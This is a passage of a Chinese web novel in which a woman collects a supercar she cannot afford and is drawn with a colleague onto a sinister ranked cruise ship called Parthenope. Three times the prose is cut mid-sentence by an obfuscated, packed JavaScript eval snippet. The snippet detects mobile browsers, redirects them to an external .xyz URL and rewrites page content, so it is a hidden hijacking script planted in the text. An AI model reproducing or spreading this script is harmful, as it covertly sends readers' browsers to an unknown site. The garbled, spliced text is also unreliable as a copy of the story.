“您改天再来提车吗?昨天给您发的消息,车这两天刚到店,您是打算换哪天来提车呢?” 这么一说,程昭倒是想起来了,她还真收到过一条4S店的短信,就在那条同城狂欢夜后面,她以为是同一个基站发的诈骗短信,连看都没看就一起拉进了黑名单。 “我——提车吗?” “对呀,您上个月全款定的Aventador SUJ典藏版,国内总共只有三辆哦,根据您的要求,升级了烈焰红车漆,同色刹车卡钳,以及全套外部碳纤维套件,包括碳纤维车顶以及碳纤维后视镜外壳。不是我夸张,昨天我看到实物的时候都惊艳了,您真是太有品味了……” 程昭、洛清以及店员,三个人全部傻眼,只有经理还在滔滔不绝。 “艺术品,绝对是完美的艺术品啊!渲染图跟实物的质感完全没有可比性,只有这样卓越的顶级超跑,才配得上您的气质……” 程昭低头看看自己褪色的卡通短袖T恤,还有手提的5斤稻花香大米,觉得自己这个气质可能还是跟大卖场比较合。 能做到经理的人,真是有点睁眼说瞎话的本事在身上的。 “那个,我能看看购车合同吗?” “当然可以啊,提车前这些都要确认过的,您跟我来,VIP包间这边走。” 程昭左手拿着糕点机械地往嘴里塞,右手快速把合同翻到最后一页。 这个签名,没错了,是原主。 她又往前翻,去看成交价格。 基础配置980万,升级车漆、升级车顶、升级碳纤维……好家伙,这是能升级的配置统统升了一遍啊,再加100万的购置税,落地价格要1200万?! 程昭当即一口气没喘上来,掐着人中就往后倒。 洛清以为她被糕点噎住了,袖子一撸,双臂穿过腋下把她环抱起来,左手握拳顶在上腹部,向上方猛烈施压,来了一套标准的海姆立克急救法。 “咳咳——”程昭刚才没被噎到,现在倒是咳嗽起来,“我没,没事……” 她只是要被原主逼疯了。 什么人能借三百万去买一辆千万级的豪车啊?装逼也要讲基本法吧! 现在倒好,原主自己生死未卜,留下她一屁股债,跟一辆——呃,顶级超跑?! 这个泡世界还是太复杂了! “程女士,您还好吗?”经理担忧地看着她。 程昭弱弱道:“这个车,我能退吗?” 经理露出一副为难的表情:“我们店不接受退款呢,而且您加配了很多,属于私人定制,不可能返厂了。对了,提车的话还有保险费和上牌费用哦。” “保险费……多少?” “大概三十来万吧,具体的也要看您选的套餐。” 程昭眼白一翻,又要厥过去。 倒是洛清灵光一闪,从她兜里掏出那张50万代金券,“这个可以抵扣吗?” “哇,程女士,您运气真好,居然抽中了这个,可以用来抵扣的,多余的部分我给您充值到保养费里,这样非常划算的呢!” 程昭跟搁浅后由被扔入水的鱼一样,猛吸了一口气,搓了搓脸,调整好心态:“行,那带我看看车吧。” 一千多万的豪车,谁见过,反正她程昭没见过。 22. 帕耳忒诺珀号01 户外停车坪上,夺目的红色钢铁野兽伏卧于地,车头低垂,Y字型的车灯发出锐利的白色冷光,车身锋利而优美的线条饱含力量感,如同一头蓄势待发的斗牛。 车尾的四根圆形排气管并列,像是随时要喷出烈焰来,细长的尾灯勾勒出硬朗的线条,赤红色扰流板在车尾竖起,昭示着超级跑车那不同凡响的身份。 程昭看得入迷,脑中只有一个想法—— “好扁的车。” 洛清赞同地点点头:“越扁越贵。” 经理在一旁掩嘴轻笑,扬了扬手中的车钥匙:“程女士,上车体验一下?” “我……”程昭刚要拒绝,就见她按下了钥匙上的开门键。 面前的红色跑车两侧的车门缓缓向上升起,不似开门,倒像是展开了一对金属的翅膀,与其说是意大利工匠亲手打造而成,不如说是由风刃雕刻、真火淬炼,经历数道磨难终于涅槃重生降临世间。 程昭顿时两眼放光:“我觉得它应该有个名字。” 洛清:“凤凰?” 程昭一字一顿道: “大、” “红、” “鹰!” 程昭一脸热切地看向洛清,期待得到她的认可:“怎么样,是不是很酷?” 洛清鄙夷道:“这车跟了你,还不如当初就烂厂里。” 程昭:“QAQ难道不贴吗?” 洛清:“随便你,又不是我的车,你叫它狗蛋都行。” “程女士,坐进去看看?” 不用经理催第三遍,程昭就麻溜地坐进了驾驶位,颇用了点力才把酷炫的剪刀门关上。 “呃,点火键在哪里啊……” 洛清:“你这样,能把车开回去?” 程昭咳嗽两声,掩盖自己的尴尬:“那啥,我考出驾照后,就再没碰过车了。” 经理很有眼力见地坐上副驾驶,手把手指导她各种开关的位置和功能。 一小时后,这辆外观嚣张跋扈的红色超跑歪歪扭扭地开在公路上,主驾位是握着方向盘,满手是汗还在打颤的程昭,副驾驶则是生无可恋,拿着手机随时准备报警的洛清。 洛清:“我真信了你的邪,我自己坐地铁回家不香吗?” 程昭:“不能啊,我一个人怎么开得回去?右边帮我盯好!” 洛清:“你怕什么?不是你自己说的吗,这种豪车开在路上,长眼睛的都会给你让道的。” 程昭:“哇啊,他们是让我了,但我怕自己撞上去啊!毕竟我这辆车可是拥有6.5L的V12发动机,最大马力800匹,零百加速只要2.1秒的顶级动力怪兽,普通车难以望其项背……” 洛清:“没人告诉你,这种直接念参数的装逼很low吗?” 程昭:“啊,那要怎么装?我还不熟练,你快教教我。” 洛清:“……我只想打你。” 看着前方逐渐变少的车道,程昭疑惑起来:“这路对吗?感觉都不是机动车道了啊。” 洛清看了眼手机导航:“导航显示是没错,这不是你自己选的路径吗,虽然最偏,但是车流量最少。” 程昭吐槽:“这也太偏了,你是不是给我选的缺德导航啊。” 跑车已经完全离开了公路,开在类似乡间的小道上,四周都是杂草丛,而且这些草越来越高,渐渐连远方都看不清了。 洛清正色起来:“是有点不对劲。” 程昭支起上身四处张望,企图越过草丛看向远处:“我记得我住三环内啊,这是给我干哪儿来了?” 周围的景色渐渐模糊,像是田野间突然升起了雾瘴,程昭觉得大脑也渐渐晕晕乎乎的。 “刹车!刹车!”洛清突然尖叫起来。 程昭一惊,骤然回神,好在身体的下意识反应比脑子快,右脚尖猛地下压,刹车一踩到底,跑车重重朝前点头,车里两个人都往前栽去,又被安全带拦住震荡回去。 车轮在砂石地上压出两道深深的车辙,摩擦力与惯性做着激烈的对抗,大红鹰的性能对得起她漂亮的参数,前轮在路的尽头抱死,只差一厘米就要整车摔进大海里去。 等一下,怎么会有海? 程昭下了车,不可置信地望着面前无边无际的蔚蓝色:“我们市不是内陆吗?” 洛清也跟着下了车,面朝大海,眉头紧锁:“离我们市最近的海岸线也有500公里,而你才开了不到半个小时!” 程昭脑袋还跟浆糊似的:“所以,我超速了?” 洛清:“你当开飞机啊,说不准我们是……” “两位贵宾,欢迎登船!” 闻声看去,一位穿着西式制服长裙的女人不知何时出现在旁边,微笑着朝她们鞠躬,她双眼弯成了两条弧线,看不见眼眸。 程昭再一看周围,广阔的海面上正停泊着一搜庞大的邮轮,她只能把头仰到极限来看这艘巨物,却也没能数清巨轮到底有几层。 回看来时路,田野乡间已消失不见,她们置身在蓝白装饰的码头上,好在大红鹰还停在旁边,没有消失。 程昭跟洛清眼神对视,洛清不动声色地点了下左手腕。 她瞬间心领神会——进重叠域了。 程昭把手放在车门把手上:“不好意思,我车开得太快了,现在就走。” 她给洛清一个眼神,示意她赶紧上车跑路。 洛清双手低垂,以极小的幅度摆了摆。 长裙女人依旧是那副诡异的眯眯眼样子,做出邀请的样子:“贵宾请登船。” 洛清朝着邮轮的方向走去,程昭只好快步跟上。 她贴着洛清的身体,跟她咬耳朵:“什么情况,你要进域?” 洛清的声音从牙缝里挤出来:“我们已经进来了,只能等救护车来才能出去。小心,别被他们发现。” 她们一前一后踏上邮轮的廊桥楼梯,这艘邮轮确实非常巨大,程昭觉得光是走上船都要好久。 程昭戳了戳前面洛清的后腰,小声问:“可是我们没买船票啊,等会儿会不会被赶下来?” 洛清冷不丁被戳到痒痒肉,敏感地弹了一下。 “被赶下来最好,留在岸上安全。” “也就是说船上很危险?” 洛清咬牙切齿道:“你的废话可以少一点吗?” 眼见廊桥上方,两位侍应生分站左右,也是笑成眯眯眼地面对着她们,程昭闭上了嘴,摆出一张淡定的脸。 走上登船甲板,在大堂入口处,程昭发现左右的侍应生长得一模一样,应该是双胞胎,他俩同步鞠了一个标准90度的躬,分别向她们递上黑底烫金的卡片。 程昭接过一看,卡片正面中央印着金色的人身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805383|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼尾波浪长发美人图案,美人鱼的眼睛也是两条弧线,随着角度的变换,线条闪闪发光,就像表情在动一样。图案下方是一串英文——Parthenope,左上角是花体的“svip”,右上角是数字“1601”。 翻到卡片背面,是船上守则,只有简单的两条: 一、船上等级分明,不可越级。 二、死亡除外。 程昭觉得那两个字刺眼得很,赶紧把卡片翻回了正面,不知道她有没有看错,美人鱼的眼睛弧度似乎比之前更大了,优雅的笑容里带了几分邪性。 “欢迎来到帕耳忒诺珀号,两位贵宾请跟我来。”右边的侍应生为她们带路。 穿过宏伟气派的大厅,侍应生带她们去坐电梯。洛清给她看了一眼自己的卡片,跟程昭的一模一样,数字也是1601,看来是把她们认作同伴,分在了一间房里,这倒是好事。 电梯内部三面都是镜子,只有开门那侧是金色的装饰面板,镜面反射出层层叠叠的人影,程昭只看了一眼就觉得晕,只能跟洛清一样,目不转睛盯着电梯的楼层屏幕。 电梯的最高楼层是18层,他们在16层停下,船头第一间1601就是她们的房间。 侍应生替她们打开门,又鞠了一个90度的躬:“祝贵宾们在帕耳忒诺珀号上度过愉快的三天,有任何问题都可以按房内的呼叫铃。船上不同区域对不同等级开放,SVIP贵宾可以去往船上任何地方——” 他脸上的笑容突然消失,原本弯弯的眼睛变成了一条直线,像是突然卡住的机器人,就这样停顿了几秒,他突然又恢复了笑容,开口道:“除了货舱。” 待看到程昭和洛清都点头以后,他才面对她们倒退着离开。 程昭先走进房间,这是一个很大的豪华套间,进门就是带有沙发和电视的客厅,里面还有一个双床的卧室,卧室连着浴室,里面还有一个奢华的圆形浴缸,外面则是露台,整个海天一色的风景能轻而易举地收入眼底。 洛清把门关上锁好,“看一下工作站。” 程昭点开手环,任务界面有一个红点,她忍住强迫症没有去点。 “我今日还在休息日,可以不接任务吗?” 洛清:“你还记得,我今天是下夜班吗?” 程昭干笑两声:“哎呀,墙上这副画真好看。” 洛清:“服了,每次遇到你都没好事。” 这下轮到程昭意外了:“每次?这不是第一次吗——你说原来的?” 洛清似乎每次到这个话题就不想谈,生硬地岔开了:“任务接不接随你,不过你不要拖我后腿。隐藏好自己,等救护车进域。” “他们会来吗?” “会的,治安队随时监测泡世界状态,这么大范围的重叠域,大概能评上三级事件了,肯定会联动120的,估计治安队也会派人进来。一般他们进来就没什么大问题,领个任务还能攒点积分。” “白嫖啊。”程昭立刻点了任务,白捡的便宜肯定要占的。 “呜~~~”伴随着汽笛声,船舱微微晃动,程昭站在阳台,扶着栏杆,看向海平面上的波浪。 “船开了。” “糟糕,”洛清盯着手环界面,眉头紧锁,“这里是公海。” “公海怎么了?” “救护车不能进公海。” 23. 帕耳忒诺珀号02 程昭:“不能进公海?” 洛清:“救护车进重叠域需要确切的坐标,公海上定位不准,如果开错目标就要坠海了。” 程昭:“那咋办?救护车不来的话,等分离的时候我们不是要掉海里去了?!” 洛清:“你会游泳吗?” 程昭不可置信地瞪着她:“这是会不会游泳的问题吗?我就算会游泳也不可能从海里游到岸上啊!” 洛清沉思:“慢慢想办法吧,船上应该有救生艇的,这次重叠时间挺长的,还有机会。” 程昭此刻也点开了任务界面。 【任务已接收】 【任务编号】20250624002 【地点】邮轮(公海) 【患者人数】0/5 【倒计时】71:45:48 “71小时45分……将近3天,你还记得那个侍应生说的话吗?船上的旅程也是3天,是不是下船的时候,重叠域就分离了?” 洛清眯起眼睛若有所思:“好像是的,如果分离的时候我们已经到陆地了,那救护车应该能赶上。” “呼~”程昭长吁一口气,在沙发上躺下,“那咱们的任务就是安稳地度过这三天,顺便找找病人。” 洛清是经历过数不清的重叠域任务的,没她那么放松,皱着眉道:“小心为上,我觉得这里不简单。” “是不简单,我都有当svip的一天了。”程昭随手拿过茶几上的宣传册翻看着,“你说他们怎么区分的,不会是因为我车太招摇了吧。” “没准,是挺惹眼的。”洛清走到门口,查看楼层分布图。 宣传册首页就是帕耳忒诺珀号的整体外观,照片是夜间拍的,船身上五彩的灯光亮起,显得格外奢华。翻开册子,里面介绍了邮轮的布局。 这艘帕耳忒诺珀号总共有18层,1-4层是核心公共区,有包含餐厅、酒吧、剧院、音乐厅在内的一系列设施,5-16层都是客房,客房分为四档,内舱房在5-8层,海景房在9-11层,阳台房在12-14层,套房在15、16两层。最顶上两层是泳池和水上乐园,还有室外酒吧和户外餐厅。 果然,她们所在的16层就是最高档的客房了,确实是svip的待遇。 餐厅和娱乐区域都标明了可供进入的等级。顶上两层最奢华的甲板区就只有vip和svip能进入,p级船票不能上到11层以上的甲板。户外餐厅仅限svip进入,在下层的公共区域,也有专门供svip进入的小型娱乐室。 看来这里确实如船票上所说,是一个等级分明的地方。 宣传册上标出的所有地方,svip都可以进入,但vip以下的客人能去的地方就只有一半了。 册子最后一页,整版都做了亮晶晶的特效,巨大的艺术字标题写着“四千年难得一遇!来自海洋深处的稀世珍宝!” 主图是一个黑色的圆,中间打着大大的白色问号,周围还有一些诸如“震惊世界”、“无价之宝”的夸张形容。 接着看到下方的拍卖会信息,程昭没忍住嘴角抽了下。 说是无价之宝,又来拍卖,是不是有点自相矛盾了啊。 这个拍卖会仅限vip以上的贵宾参与,位置在17层的艺廊。虽然程昭这个还在欠债的穷鬼不可能出一分钱,不过她也很好奇这个到底是什么宝贝。 再怎么说也是开上红博基尼的高端人士了,这种场合怎么能错过。 洛清才刚记下楼层的分布图,程昭已经安排好了邮轮第一天的行程。 “走,吃饭去!” “啊?”洛清还没反应过来,就被程昭拽着胳膊出了房间。 “这么明确?”看着程昭毫不犹豫地按下18层的按键,洛清有些意外,不是都刚上船吗,她怎么一副很熟悉的样子? 程昭揉着肚子:“我从昨晚到现在都没正经吃过饭,在4S店里才吃了一块绿豆糕,都快饿死啦!” 电梯门打开,程昭一马当先跑出去,但没几步就停下了。 洛清跟在后面,也停在了紧闭的餐厅门口。 “开放时间:17:00-21:00,啧,你没看时间啊?” 程昭捂脸,她光记着要来最高级的户外餐厅吃饭,怎么没看一眼时间啊。 于是只好再回到电梯里去,往4楼去。 4楼有两个高级餐厅,仅供vip以上的客人进入,一个是东亚菜系餐厅,另一个则是西式菜系。 程昭不挑食,哪个近去哪个。 离电梯更近的是偏西式的海星餐厅,这里的餐厅都是以海洋生物命名的,很符合邮轮的主题。 门口的侍应生向她们鞠躬:“欢迎光临海星餐厅!贵宾请出示船票。” 程昭把黑金卡片递给他,侍应生拿着卡片在类似POS机的机器上刷了一下,屏幕闪烁,然后他双手捧着卡片,毕恭毕敬地递给了程昭。 洛清也给他刷了卡。 “请进,祝您用餐愉快!”侍应生眼睛弯成两道弧线,程昭已经有点适应这个表情了。 海星餐厅里面的布置跟五星级酒店差不多,侍应生带领她们在靠窗的桌边坐下,拿出两本菜单让她们点餐。 菜单上没有价格,都是可以无限点单的。 程昭早就饿到胃疼,菜单都懒得看:“给我上一本菜单。” 洛清十分嫌弃:“浪费可耻,你吃不完我是不会帮忙的。我要一份牛排,还有一杯橘子气泡水。” “好的,请稍等。”对于程昭的要求,侍应生也没有提出异议,微笑着应和下来。 透过清透的玻璃窗,一望无际的海面风平浪静,几乎都感受不到船在前进。巨轮开得很稳,杯中的液体只是轻轻晃动。 湛蓝色的大海似乎有催眠的功效,程昭从未觉得自己的内心如此平静过。 “干什么吃的?没人管了?连平民也能进vip区域了吗?”大声吵嚷的男声突然打破了这份平静。 程昭一开始没意识到他是在说自己,直到洛清轻拍了下桌子,她的视线才从海面上转移到室内。 一个穿着西装,大腹便便的男人正对着她们这桌吹胡子瞪眼。 程昭看看自己穿的衣服,好嘛,八成又是这件褪色卡通T恤惹的祸。 原主也真是的,知道借钱买豪车,怎么不知道买几件新衣服啊。 见程昭并没有被戳穿的惊慌失措,反而淡定地捋顺了卷起的衣角,男人仿佛是受到了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805384|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不可饶恕的冒犯,卷起袖子,露出手腕上的卡地亚腕表,气冲冲地朝她走过来。 “先生!”侍应生脸上没了职业的笑容,慌乱地去拦那男人。 但不知是害怕遭到投诉,还是有意看戏,他并没把男人完全拦住。 程昭手往裤兜里掏了掏。 男人已经来到她们桌前,眼看着拳头就要往程昭脸前招呼。 程昭不慌不忙,掏出车钥匙放在桌面上,钥匙正面是红博基尼那个标志性的公牛图标。 男人停住了手,表情有那么一瞬间的恍惚。 程昭又往另一边的口袋里掏了掏,把黑金卡片放在车钥匙旁边。 男人立刻化拳为掌,点头哈腰,露出谄媚的笑容,满脸的肥肉堆在了一块,层层叠叠地连眼睛都被快挤得看不见:“哎呀,误会!误会!我这人眼睛做过手术,散光八百度,超过两米就看不清哈哈哈……不知道您是哪家的千金,方便认识一下吗?” 程昭:“不方便。” 洛清在餐桌对面“噗嗤”一声笑了。 “啊,抱歉,是我不懂礼节了,自我介绍一下,我是……” 程昭冲着侍应生招了招手:“我能给你们餐厅提点意见吗?” 侍应生恭敬地站在她旁边,不知从何处掏出了一个小本子,一副认真记录的样子。 “我觉得svip和vip最好还是分开区域就餐吧,看到一些不入流的东西,蛮影响食欲的。” “收到,马上为您处理。”侍应生收起小本子。 “哎,哎,你们干嘛呢!”男人大叫起来,他被侍应生直接扛了起来。 刚才连个人都拦不住的侍应生,突然变得力大无穷,轻轻松松把那个起码两百斤的肥腴男人扔出了餐厅,脚步稳健,甚至连呼吸频率都没变。 程昭和洛清交换了一个眼神,这种身体机能超过一般的人体素质了。 “非常抱歉,影响了您的用餐体验。”他几乎是在一两秒内就从门口闪现到了临窗的桌前,为程昭深深地鞠上一躬 “没关系。不过,你那样对待vip客人,没关系吗?” “我们会尽力满足每一位高级客人的需求。” “那如果一个svip客人要赶走另一个svip呢?” “这种情况也不是没有哦。”侍应生收敛了笑意,“不过,活着的贵宾才是svip哦~” 程昭感受到了一点微妙的恶意。 等到琳琅满目的美食一道道上来,她却食不知味起来。 程昭叉起一块粉色带着血水的肉:“你说,这是三分熟的牛肉吗?” 洛清耸耸肩:“不好说,如果他们把人叫做牛,我也不会太意外。” 程昭盯了那块肉看了一会儿,还是放下了叉子,转而吃起烤得金黄的餐前面包。 “帮我拴一下狗吧。”一个女声从餐厅门口传来。 程昭闻声警觉地抬头,她打小就怕狗,要是约克夏那种小只的还好,如果是罗威纳那种,她可没法安然地吃饭了。 视线移到门口,那位肩披黑色皮草的贵妇人正牵着—— 一个趴跪在地上的男人? 程昭不自觉地瞪大了眼睛,你们城里人这么会玩吗? 24. 帕耳忒诺珀号03 那个以狗的姿态在地上爬的男人手脚都套了兽皮,一条毛茸茸的金色尾巴从股间伸出,脖子上套着带尖刺的颈圈,皮质的牵引绳被贵妇人递给了侍应生,除了这些装饰以外全身赤裸。 虽然程昭跟洛清这两个医学出身的没少见过人体,早已练就面不改色的心理素质,但还是默契地只看了一眼就移开了视线。 “艾玛夫人!”又有人从门口进来,是一位穿着燕尾服蓄着小胡子的长脸男士,比起刚才那个暴发户样的胖男人,他显得优雅许多,说话语调都带着一股英伦绅士味。 那位贵妇转过头来,亲切地与他相拥,行了一个贴面礼。 “威尔森爵士,很高兴在这里见到你。你的那位小宠物呢?” “唔,在后面呢。” 随着轮子的滚动声传来,眼前的景象又震惊了程昭一次。 一人多高的金色笼子放在推车上被推进了海星餐厅,笼子里是个蜷缩着身体的金发少女,她的背上有一对收起的孔雀蓝羽翼。跟那个狗男的淡定相比,她要看起来惊恐得多,一双琥珀色的眸子颤动不已。 威尔森让侍应生把笼子推到自己的餐桌旁,用刀叉优雅地切下牛排,从笼子的缝隙里扔进去,金发少女弯下身体,去笼子底部叼走肉条。 “这都哪儿领的,我们svip怎么没有……”程昭借着站起来拿水的姿势凑近了洛清说道。 “你还有这爱好?” “你怎么能平白污人清白……我是怕穿帮啊,你不觉得,咱俩在这里跟土包子似的?” 洛清扫了一眼桌上堆不下,还推了一辆餐车来放的餐食:“你要是不点一本菜单,咱们会土得没那么明显。” 程昭心虚地塞了一大口蔬菜沙拉进嘴。 洛清用纸巾擦了擦嘴角:“我吃好了,要回去了。” 程昭:“我还想去其他层看看呢,你不找病人了?” 洛清打了个哈欠:“大概是饭困吧,想先睡一觉。” 程昭:“你好虚啊。” 洛清:“有没有可能我是倒了大霉,被某人害得下夜班没休息还进域了呢?” 程昭识趣地闭上了嘴。 洛清离开了,但她还面对着一大桌菜,没好意思浪费,只能自己独自奋战。 程昭埋头吃了一会儿,总感觉有视线落在自己身上,她机警地抬头,不动声色地环顾四周。 让她意外的是,那视线不是来自客人或是侍应生,而是关在笼子里的金发羽翼少女,她跟程昭隔了两张餐桌,正直勾勾地盯着程昭桌上的菜。 威尔森刚好背对着程昭,确定自己的行为不会引起别人注意后,程昭轮流举起桌上的餐盘,随着少女视线的移动,程昭确认了,她盯着的其实是一盘浆果。 因为拟态成了鸟,所以喜欢吃浆果吗? 程昭搞不明白了,这些到底是人还是宠物呢。 离开海星餐厅时,程昭装作不经意地问侍应生:“船上有宠物区吗?” 侍应生笑眯眯地说:“您是指s吗?” “s?”程昭一愣,不会还整上sm了吧,她可玩不来这么刺激的。 “您是第一次上帕耳忒诺珀号吧,船票分四种等级哦,贵宾有vip和svip两种,普通客人所持的是p级船票,还有一种船票不是单独出售的,是作为贵宾票的附属,以slave的首字母代称,也就是S级船票。如果您想拥有一个取乐的小玩意儿的话,可以去5层的登天岛看看,或许会有人想成为您的slave呢。” slave——奴隶。 所以这些s级船票的人,都是贵宾的奴隶。那他们是一开始就以动物特征的形态出现,还是成为s以后,在主人的喜好下改造成这样的呢? 程昭在电梯里按下了3层的按键,电梯屏幕上的数字随着轻微的失重感变化。 她目前到过的楼层,客人都是零星几个,电梯里也没有遇到过其他人,3层及以下就是所有人都可以去的地方了,不知道这艘船上总共有多少人。 如果人很多的话,病人或许很难找到了。 想到这里,她自嘲地笑笑,本来就是无意中进的域,怎么自己还是工作心态,不如彻底放松吃好喝好,说不准这是她这辈子仅有的在豪华邮轮上当svip的经历了。 电梯门刚打开一条缝,程昭就明显感觉到了3层的不同。 很吵闹,跟刚才的楼层完全不一样,有鼎沸的人声,还有动感的重金属摇滚乐,似乎是一下子就从贵族社交场合掉到了地下乐团见面会。 这种感觉,反倒让程昭觉得自在。 人越多,越适合浑水摸鱼。 更何况,她还有一件动不动就卷边的旧T恤,非常适合融入这里。 走出电梯,她发现这里很像大型广场,有数个小舞台,舞台上进行着歌舞表演,台下聚集着不少观众。除了中间这些开放的舞台以外,这层楼还有很多关着门的房间,门口都有侍应生站着,有客人来时,会为他们开门,待人进去以后,又很快关上。 门的上方都有小牌子,程昭看了一圈,发现最大的那个双开门房间正是“登天岛”。 她还以为会是多特别的一个地方,没想到就只是比别的房间大一些而已。 而且叫“登天”这样霸气的名字,却只在第3层,怎么想都不合适,再怎么也应该放在邮轮的最高层吧。 虽然这地方的档次比想象中要低,但程昭还是打算进去看个究竟。 往登天岛那个方向走,要路过好几个小舞台,程昭跟随音乐摇头晃脑,完全融入人群中。 “什么脏东西!”人群里某个女人尖叫一声,把一个绿色的东西往旁边一扔,刚好砸在程昭身上。 程昭随手捡起了那玩意儿,是个绿色条状气球拧成的小狗,被砸倒是不疼,就是无辜躺枪有点郁闷。 向着声音的方向看去,穿着红色波点长裙的女人牵着一个小男孩的手,大声地训斥道:“妈妈没有教过你吗?乱七八糟的东西不要拿!” 小男孩垂下头,嗫嚅道:“只是小狗……” “不三不四的人给的东西,你真是昏了头去拿!没见过好东西啊,妈妈带你出来玩就是给你见世面的!以后再也不要跟我出来了!” “呜呜,妈妈,我错了,我要出来玩……”小男孩抽泣起来。 “抱歉,女士……”站在这对母子前的舞台上的是一个侏儒小丑,他的身材只比那个小男孩大一点,但头却有正常成人那么大,配上袖珍的身体显得非常滑稽可笑。 他穿着小丑的彩色演出服,颈部有一圈缀着小彩球的拉夫领,脸上涂着油彩,鼻子上顶着醒目的红球,头上戴着一顶浅金色的爆炸头假发。 小丑的这个舞台很小,可以说是所有这些开放舞台里最小的了,他也没有乐队伴奏,只有一架自己演奏的手风琴。 这种平庸的表演吸引不了多少观众,几乎没人在他这里驻足,或许只是因为这个小男孩多看了他一眼,他就送上了一个自己做的绿色气球小狗。 最简单、也是最不值钱的那种气球小狗。 这样的气球玩具他做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805385|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好几个,放在脚边的纸箱子里,企图用这种小玩意儿来吸引一些观众互动。 不知道他们这样的人在船上是怎么计报酬的,或许多一些人气,就能多赚一些。 也或许,他只是不想自己的表演无人问津。 红裙女人显然非常厌恶眼前这个畸形人,几乎眼珠子都要瞪出来,恶狠狠道:“拿上你的垃圾滚吧,我会投诉你的!” 小丑哭丧着脸,但由于他脸上画着夸张的油菜,表情似哭似笑,难看又诡异。 “真对不起,女士,请别……” “啪啪啪!”清脆掌声突兀地响起,女人和小丑都愣了下。 小丑那双被红绿颜料覆盖的眼睛里闯进了一个身影,她穿着简单的短袖长裤,短袖甚至都洗到褪色,在船上这些穿着体面的客人中显得格格不入,但她并不露怯,直接单手撑着舞台边缘翻了上来,站在了他的身边。 女人皱起了眉,虽然她不知道这个突然出现的人是来干嘛的,不过很显然她跟这个丑陋的畸形人是一伙的。 程昭如她所想,举起了那个绿色的气球小狗,用夸张的语气感叹道:“好绝!好绝!真是艺术品啊!” 小丑看着那个被举到半空中的气球狗,茫然地眨了眨眼睛。 “神经病!”女人骂道。 程昭又如发现了新大陆般,从那个纸箱里拿出了气球拧成的花朵,啧啧称奇:“我环游世界这么久了,还是第一次见到如此富有美感的作品……立体主义!魔幻解构流派!非写实性艺术语言!我再看看……这纹路、这角度,我仿佛看见了毕加索的影子……” 小丑已经完全懵了,痴痴傻傻地看着程昭滔滔不绝的嘴。 程昭投入的表演吸引了一些人好奇地围过来,刚好把红裙女人的去路挡住,一时间难以离开。 台下的观众大多都是一副将信将疑的表情,他们可没看出来这么粗糙的气球有什么艺术可言。 见观众已经围了两三圈,并且有越来越多的不明群众在靠拢过来,程昭觉得时机差不多了。 她从兜里掏出黑金的svip卡,特意举高把正面展示给所有人看:“我太喜欢这些作品了,我想带去卢浮宫展览,你可以借给我吗?我愿意用我的船票来担保,不会让这些珍贵的艺术品受到任何损伤,或许这次巡回展出需要一年,我要从巴黎一路展出到耶路撒冷……” “哇,是svip!” “我第一见黑金卡!好奢华啊!” “svip怎么会来3层呢,那些贵客不是都在楼上吗?” “谁知道呢,我看有钱人的品味也迷得很。” “就是,一个破气球吹得跟什么似的,这些有钱人就是没见过市井玩意儿。” “不对呀,说不准他们上流社会,真觉得这东西值钱呢!” “有可能啊,她刚才叽里咕噜那些的我都听不懂,不会真是什么艺术流派吧?” “我刚才随手拿了一个呢,不会能卖个好价钱吧!” “我靠,我刚才没拿,亏大了!” “……只有我没听过巴黎吗?还有,耶路撒冷是什么地方啊……” 台下的人叽叽喳喳讨论得热烈,看热闹的人把舞台围得水泄不通,这个简陋的小舞台很快就成了大厅里的焦点。 红裙女人脸上青一阵白一阵,表情跟走马灯似的轮换了好几个,最后竟然腆着脸对程昭说道: “不好意思,这位小姐,这个气球是送给我家孩子的!您想要我可以卖给您……” 程昭嘴角一勾。 25. 帕耳忒诺珀号04 “哎呀呀,你家孩子的气球,怎么在我手上呀?”程昭眼神戏谑,语气却是疑问。 “这……这是我家孩子不小心掉的,是不是?”她开始有些心虚,声音小了下去,后来又给自己找底气似的冲着孩子厉声道。 小男孩哭得一把鼻涕一把泪,小脸蛋脏兮兮地,还打着嗝,连一个完整的音节都发不出来。 “你这孩子,我怎么教你的?!”女人急得捏着小男孩的肩膀用力摇晃,连鼻涕都甩到了她的裙摆上。 见孩子还是不说话,她焦躁起来,不耐烦地给了他一个大嘴巴子,男孩左脸立刻红了一片。 “呜哇——”男孩哭得更厉害了。 “呀,怎么还打孩子呢!”周围的群众骚动起来。 “想占便宜想疯了吧?” “怎么做妈妈的啊……” “好粗鲁的女人,这种人也配上船呀。” 人们议论纷纷,声音越来越大,更有好事者添油加醋地跟外围没看见的人转述,红裙女人一下子就成了众矢之的。 眼见讹诈不成,还有成为公敌的趋势,女人不敢再说什么,领着嚎啕大哭的孩子灰溜溜地跑了。 